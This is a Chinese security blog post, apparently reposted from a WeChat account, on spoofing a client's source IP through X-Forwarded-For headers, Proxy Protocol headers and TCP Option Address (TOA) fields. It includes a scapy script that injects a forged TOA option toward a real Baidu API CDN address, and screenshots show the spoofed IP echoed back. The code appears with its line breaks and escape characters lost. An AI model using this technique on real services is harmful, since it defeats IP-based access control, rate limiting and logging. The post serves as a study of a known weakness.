IP伪造技术探究

admin 2023年12月5日02:58:38评论721 views字数 2202阅读7分20秒阅读模式

0x01 前言


最近看到鼠总发了一个TOA伪造IP的文章,来学习下。
在涉及负载均衡、CDN或代理服务的场景中,客户端请求需要经过多个中间设备才能到达目标服务器,这使得目标服务器难以直接获取客户端的原始IP地址。为了解决这个问题,目前通常采用以下三种方法来获取客户端的真实IP地址:
1.通过XFF(X-Forwarded-For)获取客户端IP
2.通过PP(Proxy Protocol)获取客户端IP
3.通过TOA(TCP Option Address)获取客户端IP
如果采取以上三种技术获取客户端IP,都是可以尝试进行伪造的,下面简述一下如何伪造,前两个都比较简单,TOA实现起来较为复杂一点,下文会给出使用scapy实现的测试代码。
XFF伪造大家都很熟悉了在HTTP请求中直接插入或修改X-Forwarded-For头即可。
Proxy Protocol伪造在建立TCP连接时,插入一个如PROXY TCP4 1.0.0.1 2.0.0.2 1001 2002rn的请求头(其中1.0.0.1是伪造的源IP地址,2.0.0.2是伪造的目标IP地址,1001是源端口,2002是目标端口),然后再发送HTTP请求即可。
TOA的话需要重新进行三次握手插入TCP Option,然后请求HTTP
具体概念参考:
https://mp.weixin.qq.com/s/AvYuqTYDuk8jdSDfferMBQ。

0x02 TOA伪造利用


首先,通过百度搜索IP,此时会自动请求相关接口获取当前IP。

IP伪造技术探究

IP伪造技术探究

这里通过scapy库来实现,设置fake_ip,以及target_ip,target_port,这里我一开始是直接通过gethostbyname("qifu-api.baidubce.com")这样去获取的ip,发现有时候可行可不行,后来多地ping了下发现这个域名有7个cdn,经过测试只有112.34.112.38,182.61.62.106可行,应该是其他cdn不支持toa传递ip。

IP伪造技术探究IP伪造技术探究

from scapy.all import *import socketimport structimport os
# 目标域名和端口target_ip = '112.34.112.38'target_port = 80
# 伪造的源 IP 地址fake_ip = '111.111.111.222'
# 将伪造的 IP 地址转换为整数fake_ip_as_int = struct.unpack("!I", socket.inet_aton(fake_ip))[0]
# 创建自定义的 TCP 选项option_254 = (254, b'x00x50' + struct.pack('!I', fake_ip_as_int))
# 创建 IP 层ip_layer = IP(dst=target_ip)
# 创建 TCP 层,不添加 TCP 选项syn = TCP(sport=RandShort(), dport=target_port, flags='S')
# 组合 IP 层和 TCP 层,发送 SYN 数据包syn_ack = sr1(ip_layer/syn)
# 检查是否收到 SYN+ACK 数据包if syn_ack[TCP].flags == 'SA': # 创建 ACK 数据包,也不添加 TCP 选项 ack = TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='A', seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1) # 发送 ACK 数据包 send(ip_layer/ack)
# 创建 HTTP 请求,只包含 Host 头部 http_request = 'GET /ip/local/geo/v1/district HTTP/1.1rn' 'Host: qifu-api.baidubce.comrnrn'
# 创建 HTTP 数据包,这次在 TCP 层添加自定义的选项 http_packet = ip_layer / TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='PA', seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1, options=[option_254]) / Raw(load=http_request)

# 接收 HTTP 响应 http_response = sr1(http_packet)
# 打印 HTTP 响应 if http_response: print(http_response.show()) else: print('No response')else: print('Did not receive SYN+ACK. Received: {}'.format(syn_ack[TCP].flags))

运行脚本之后,此时可以看到请求,但是这里有个问题就是在手动实现三次握手,然后发送http之后,服务端返回ack,然后客户端直接发送了rst断开了连接,这导致无法在脚本中获取http的响应数据了,测了下使用socket库是没有这个问题的,但是使用socket肯定是无法插入tcp option的。没细究了不太会玩scapy。

socket:

IP伪造技术探究

scapy:

IP伪造技术探究

可以看到插入tcp option成功。

IP伪造技术探究

响应的ip也为自定义ip。

IP伪造技术探究

0x03 小密圈

最后送你一张优惠券,欢迎加入小密圈,好朋友。


IP伪造技术探究

原文始发于微信公众号(小黑说安全):IP伪造技术探究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月5日02:58:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IP伪造技术探究https://cn-sec.com/archives/2261363.html

发表评论

匿名网友 填写信息